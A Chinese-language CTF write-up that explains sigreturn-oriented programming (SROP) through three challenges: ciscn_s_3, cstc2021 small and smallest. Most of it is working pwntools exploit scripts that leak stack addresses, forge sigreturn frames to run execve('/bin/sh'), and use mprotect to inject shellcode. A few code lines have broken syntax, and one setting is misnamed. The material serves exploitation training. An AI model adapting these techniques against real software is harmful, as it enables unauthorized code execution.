SROP

e*16 a發表於2021-09-23

SROP

一:注意

小夥伴應該都看了很久的資料吧,其主要意思是透過系統呼叫來劫持程式流,我也不在這裡多逼逼hhh。先說幾點要注意的

1
2
3
1.系統呼叫是核心態所做的事情
2.sigreturn是系統呼叫,呼叫號在64位下位15(也就是說在沒有sigreturn系統呼叫地址的時候,只有rax=15且具有syscall才能進行sigreturn系統呼叫)
3.在寫exp的時候,需要寫該程式的arch(context.log_level = "amd64")

二:題目詳細介紹

1.ciscn_s_3

1.看ida

 

有read和write系統呼叫,有棧溢位,可以透過write來洩露/bin/sh地址,這樣就方便了很多。

 

 

這有gadgets,分別是sigreturn的系統呼叫號和execve的系統呼叫號

2.洩露地址

顧名思義,就是洩露我們輸入的資料在棧中的位置

1
2
3
4
5
6
payload = "/bin/sh\x00"
payload = payload.ljust(0x10,"\x00")+p64(0x4004ed)
p.send(payload)
p.recv(0x20)
binsh_addr = u64(p.recv(8))-280        # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)

3.構造frame

這是最重要的部分,所以我會詳細的說一下

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rax = 59     #constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x400501  #syscall

這就是構造的frame,當觸發sigreturn系統呼叫後,rax=59,rdi=binsh_addr,rsi=0,rdx=0,rip=0x400501

 

這樣就知道了把,sigreturn系統呼叫的作用就是恢復之前使用者態暫存器的值。

1
2
payload = "/bin/sh\x00" + p64(0) + p64(0x4004DA) + p64(0x400501) + str(frame)   #mov rax,15 = 0x4004DA
p.send(payload)

傳入payload之後,程式會執行0x4004DA,將rax賦值為15,然後執行0x400501即syscall,程式就會去棧中找到各個暫存器的值並pop到暫存器中,然後執行我們偽造的rip即syscall,達到getshell的目的

2.cstc2021 small

1.看ida

 

這題只有一個read系統呼叫,這就需要我們去偽造一個sigreturn系統呼叫然後讓其pop給各個暫存器我們偽造的值

2.思路

第一步在frame中構造棧遷移和read系統呼叫

1
2
3
4
5
6
7
8
9
10
11
12
frame = SigreturnFrame()   #偽造
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402500
frame.rdx = 0x300
frame.rip = 0x40102B
frame.rsp = 0x402500
frame.rbp = 0x402500
 
payload = "a"*0x18 + p64(vuln) + p64(0x40102B) + str(frame)      # syscall = 0x40102B
p.send(payload)
p.sendline("a"*14) #

傳入payload之後,程式執行vuln即重新執行read呼叫,我們輸入14個a之後(我用的sendline,在最後一個a後會有換行符,所以相當於輸入15個),rax=15,然後這時候填入棧中的0x40102B就進行了系統呼叫,pop出各個暫存器的值。此時rip是syscall,rax=0即呼叫read系統呼叫。

1
2
3
4
5
6
7
8
9
10
11
12
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x402500
frame.rip = 0x40102B
frame.rsi = 0
frame.rdx = 0
 
payload = "\x00"*8 + p64(vuln) + p64(0x40102b) + str(frame)
p.sendline(payload)
p.send("q"*8+"/bin/sh")
 
p.interactive()

payload前八位是"\x00",因為執行完syscall(0x40102B),後續會pop rbp,然後ret回vuln函式再進行read系統呼叫,這個"q"*8是使rax=15,並且使/bin/sh正好在0x402500處。

 

這題與上題的區別就是,我們需要自己構造rax麻煩一點

3.smallest

這題很經典,我看了大概好幾個月,這幾個月中看了好幾遍,有一個地方一直不太通,今天上午問了漫牛老師,終於明白了,漫牛老師yyds,同時感謝我最愛的琪giegie

 

下面給出三種exp

1.exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
def g():
    gdb.attach(p)
    input()
 
syscall = 0x4000BE
main = 0x4000B0
 
payload1 = p64(main)*3
p.send(payload1)
 
p.send("\xB3") #rax = 1
stack_addr = u64(p.recv()[8:16])
success("stack_addr:"+hex(stack_addr))
 
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x300
frame.rsp = stack_addr
frame.rip = syscall
 
payload2 = p64(main) + p64(0+ str(frame)
p.send(payload2)  
 
p.send(p64(syscall)+"a"*7) #rax = 15
 
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr+0x200 # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall
 
payload3 = p64(main) + p64(0) + str(frame)   
payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/sh\x00"
p.send(payload3)
 
p.send(p64(syscall)+"a"*7)
 
p.interactive()

這幾個月我一直不明白為什麼要加p64(0),其實是因為防止呼叫sigreturn時所偽造的暫存器的值發生改變。

 

我畫個圖,這樣比較好解釋

 

2.exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
def g():
    gdb.attach(p)
    input()
 
syscall = 0x4000BE
main = 0x4000B0
ret = 0x4000C0
 
payload1 = p64(main)*3
p.send(payload1)
 
p.send("\xB3") #rax = 1
stack_addr = u64(p.recv()[8:16])
success("stack_addr:"+hex(stack_addr))
 
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x300
frame.rsp = stack_addr
frame.rip = syscall
 
payload2 = p64(main) + p64(0) + p64(0) + str(frame)   ############## here
p.send(payload2)   
 
p.send(p64(ret)+"\xBE\x00\x40\x00\x00\x00\x00") #rax = 15    here
 
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr+0x200 # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr 
frame.rip = syscall
 
payload3 = p64(main) + p64(0) + p64(0) + str(frame)   
payload3 = payload3 + (0x200-len(payload3))*"a"+"/bin/sh\x00"
p.send(payload3)
 
p.send(p64(ret)+"\xBE\x00\x40\x00\x00\x00\x00")
 
p.interactive()

3.exp3

思路是利用mprotect修改text段許可權,傳入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = "debug"
p = process("./smallest")
context.arch = "amd64"
 
main = 0x4000B0
syscall = 0x4000BE
ret = 0x4000C0
def g():
    gdb.attach(p)
    input()
 
frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect #10
frame.rdi = 0x400000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = 0x400128
frame.rip = syscall
 
payload1 = p64(main) + p64(0) + str(frame)
p.send(payload1)
 
p.send(p64(syscall) + "a"*7#rax = 15
#mprotect finished
 
shellcode = asm('''
mov rax,59
mov rdi,0x68732f6e69622f
xor rsi,rsi
xor rdx,rdx
push rdi
mov rdi,rsp
syscall
''')
payload = p64(0x400138) + shellcode
 
p.send(payload)
 
p.interactive()